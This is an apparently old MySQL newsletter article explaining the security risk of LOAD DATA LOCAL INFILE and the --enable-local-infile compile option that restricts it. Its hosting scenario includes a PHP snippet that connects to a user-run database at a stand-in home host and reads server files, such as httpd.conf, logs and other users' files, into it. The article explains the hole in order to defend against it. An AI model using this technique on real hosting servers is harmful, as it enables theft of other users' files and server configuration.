MySQL Newsletter LOAD DATA To Be or Not To be LOCAL?

LOAD DATA INFILE introduced in MySQL 3.20.7 is one of most often used and the fastest way to load data into MySQL database.

Keyword LOCAL was introduced in MySQL 3.22.6 to allow using LOAD DATA with file on Client-side file system, which added flexibility well appreciated by both users and database administrators. With using LOCAL user does not need any access to server except for MySQL connection.

However this introduced some security problems. It must be clear that all these problems can occur only with improper usage of MySQL software, but because of nature of Client-Server and Three-Tier type of applications terms "usage" and "users" are often hidden for End User.

There are two types of security problems - Server-Side and Application Server-Side, but for further analysis we need definition of some terms:

* Server, Server-Side or SQL Server - Host where mysqld runs. i.e. physical location of Databases and MySQL-Server daemon mysqld
* Middle Tier or Application Server - Application which communicates with both MySQL and End User interface, e.g. a Web server.
* End User Side - Computer of End User, which runs some program connecting to Client, e.g. browser connecting to Web server

Note that Middle Tier is actual Client for MySQL not the End User.

Above are roles which always exists, no matter if they are running on 3 different host, or only one. Often SQL and Application servers are running on same host (Apache+MySQL on same host for example), but they are still different servers.

* MySQL User - User granted some privileges on Server
* DBA - Database Administrator. We will accept that DBA is Server admin too.
* App Server admin - Remember that Application server can run different host than mysqld

Security Problem:

LOAD DATA LOCAL INFILE "file" INTO TABLE tbl;

This query can be used to store into MySQL table (on SQL Server) information from Application Server

There is difference between:
LOAD DATA INFILE 'file' ...;
file is opened by mysqld and
LOAD DATA LOCAL INFILE 'file' ...;
file is opened by client program - usually using libmysqlclient library

1. Server Side problem - Easy to deal with. This is the case when MySQL and App server are running on same host.

With LOAD DATA INFILE user can read any file on SQL Server accessible by mysqld user. In this case LOCAL does not make any difference for user and it can be

This is under control of DBA because:
* File must be readable by mysqld user
* MySQL User needs File_Priv to invoke above query

2. Application Server side problem.

The problem occurs when Application Server uses mysql client library with loading of local files enabled.

In this case by running any MySQL API enabled program on Application Server one can gain access to any file readable by that program. It is possible because User can start his own MySQL-Server so SQL Server-Side in this case will be completely controlled by him.

In this case User is DBA on his own computer where Application server admin has no control.

Typical Scenario:

* Hosting Server with Apache+PHP+MySQL_client_only - hosting.server.php. Note that there is no need to have MySQL Server at Hosting Server at all.
* User with ftp access his to PHP enabled DocumentRoot
* User starts up his own mysqld on user.host.at.his.home
* User gives access permissions on his own computer to Hosting Server like:

GRANT ALL ON home_db to user@hosting.server.php;
* User uploads PHP file on hosting server containing:

mysql_connect("user.host.at.his.home", "user");
mysql_query("LOAD DATA LOCAL INFILE '$file' INTO home_db.load_table");

This way user can load content of file on Hosting Server visible by Apache process into his home computer database.

* This is possible because in PHP all functions are executed with permissions of Apache user, not script owner user as one might expected. (So called Safe-Mode checks for file permissions for fopen() function only)

* Administrator of Hosting Server has no control over situation because:
1. Even in chroot environment one gains access to all files readable by Apache including httpd.conf, logs and maybe worst - other users files.
2. Hosting server admin has no control over User computer (where SQL Server resides in this scenario). Disabling outgoing MySQL connections is not trivial - user can set up any TCP port for his mysqld. Same problem can occur with any program using any Mysql API if programmer is not careful enough.

Using theoretical terms - the problem occurs at the Middle-Tier where business logic applies - that's why it is beyond control of DBA.

Because of all of the above in 3.23.49 new compile option was introduced:

--enable-local-infile

and all binaries are compiled without that option.

This option requires that during compile time one must explicitly declare that LOCAL can be used. This way App Server admin can effectively control usage of LOCAL by all programs dynamically linked against MySQL client library. With static-linked libraries it is in the programmer's responsibility.